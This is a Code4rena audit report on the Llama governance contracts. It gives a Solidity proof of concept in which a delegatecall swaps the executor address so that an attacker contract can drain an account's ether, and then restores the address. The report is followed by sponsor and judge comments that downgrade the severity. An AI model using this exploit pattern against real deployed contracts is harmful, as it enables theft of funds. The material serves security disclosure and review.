Functions modified by `LlamaAccount.onlyLlama` can be called by contracts other than `LlamaCore`.

[code423n4]

Lines of code

https://github.com/code-423n4/2023-06-llama/blob/main/src/accounts/LlamaAccount.sol#L115 https://github.com/code-423n4/2023-06-llama/blob/main/src/accounts/LlamaAccount.sol#L297-L324 https://github.com/code-423n4/2023-06-llama/blob/main/src/accounts/LlamaAccount.sol#L103-L106

Vulnerability details

Impact

If the delegatecall in LlamaAccount.execute changes llamaExecutor to an malicious contract, then functions modified by onlyLlama are open to the malicious contract. After the exploit, it can return the llamaExecutor as before to pass originalStorage != _readSlot0() check.

Proof of Concept

Update test/mock/MockExtension.sol as below.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {LlamaAccount} from "src/accounts/LlamaAccount.sol";

// @audit Add this contract
contract Unverified {
    address payable receiver;

    constructor(address payable _receiver) {
        receiver = _receiver;
    }

    function doSomething(LlamaAccount target) external {
        target.transferNativeToken(LlamaAccount.NativeTokenData(receiver, 1000 ether));
    }
}

// @audit Update MockExtension as below.
contract MockExtension {
    uint8 private _initialized = 1;
    bool private _initializing = false;
    address public llamaExecutor;
    address internal immutable SELF;

    constructor()  {
        SELF = address(this);
    }

    receive() external payable {}

    function testFunction() public returns (uint256) {
        address before = llamaExecutor;
        // @audit This may be hidden and be replaced with calling an unverified contract in real.
        Unverified unverified = new Unverified(payable(SELF));
        llamaExecutor = address(unverified);

        unverified.doSomething(LlamaAccount(payable(address(this))));

        // @audit return to the original llamaExecutor address
        llamaExecutor = before;

        return 10;
    }
}

Add a following test in test/accounts/LlamaAccount.t.sol and run forge test --match-test test_ManipulateLlamaExecutor.

contract Execute is LlamaAccountTest {
    // ...

    function test_ManipulateLlamaExecutor() public {
        // @audit Give the account 1000 ether
        MockExtension mockExtension = new MockExtension();
        vm.prank(ETH_WHALE);
        (bool success,) = address(mpAccount1LlamaAccount).call{value: 1000 ether}("");

        vm.startPrank(address(mpExecutor));
        bytes memory result = mpAccount1LlamaAccount.execute(
            address(mockExtension), true, abi.encodePacked(MockExtension.testFunction.selector, "")
        );

        // @audit the exploiter steals 1 ether from this account
        assertEq(address(mockExtension).balance, 1000 ether);
        vm.stopPrank();
    } 
}

Tools Used

Manual review

Recommended Mitigation Steps

There are two possible solutions.

1. Split LlamaAccountExecutor like LlamaCore and LlamaExecutor to prevent unexpected storage updates. This solution is also given in the previous audit issue 5.3.5 LlamaCore delegate calls can bring Llama into an unusal state.
2. Deploy each LlamaAccount independently without a proxy-implementation pattern and make llamaExecutor immutable like LlamaExecutor.LLAMA_CORE.

Assessed type

call/delegatecall

[c4-pre-sort]

0xSorryNotSorry marked the issue as primary issue

[c4-sponsor]

AustinGreen marked the issue as sponsor acknowledged

[c4-sponsor]

AustinGreen marked the issue as disagree with severity

[AustinGreen]

We acknowledge the risk of allowing delegatecalls in LlamaAccounts. Llama instances are standalone governance systems and they can call any function that they choose whether it's a call or delegatecall. It's up to the instance's governance to determine which targets and functions are permissioned. For these reasons we believe this should be a low severity issue.

We're exploring the possibility of implementing mitigation recommendation 2 (Deploy each LlamaAccount independently without a proxy-implementation pattern). The approach described in 1 would conflict with how token approvals/transfers work. We aim to reduce risk surface area without removing features from our users. If we're able to avoid deploying accounts as minimal proxies, then we will make this change.

[AustinGreen]

To clarify my comment above, we think this is ok as informational severity but not higher. It is the intended design of the system to allow delegatecalls and this would require user error.

[gzeon-c4]

I agree, ultimately a delegatecall basically allow you do anything as the executor already.

[c4-judge]

gzeon-c4 changed the severity to QA (Quality Assurance)

[c4-judge]

gzeon-c4 marked the issue as grade-b

[KuTuGu]

Hi, my issue #99 is marked repeat with this, leaving a few comments here, clarification how to bypass the goverment for the attack. The main idea is that the contract code is variable, so malicious users can use create2 + selfdestruct / upgradable contract to implement the attack. After DAO members review the code, vote it and then use the contract's variability for malicious attacks. In light of the recent governance incident with Tornado Cash, I think the attack is possible.

[gzeon-c4]

Hi, my issue #99 is marked repeat with this, leaving a few comments here, clarification how to bypass the goverment for the attack. The main idea is that the contract code is variable, so malicious users can use create2 + selfdestruct / upgradable contract to implement the attack. After DAO members review the code, vote it and then use the contract's variability for malicious attacks. In light of the recent governance incident with Tornado Cash, I think the attack is possible.

that's already considered in the overall grading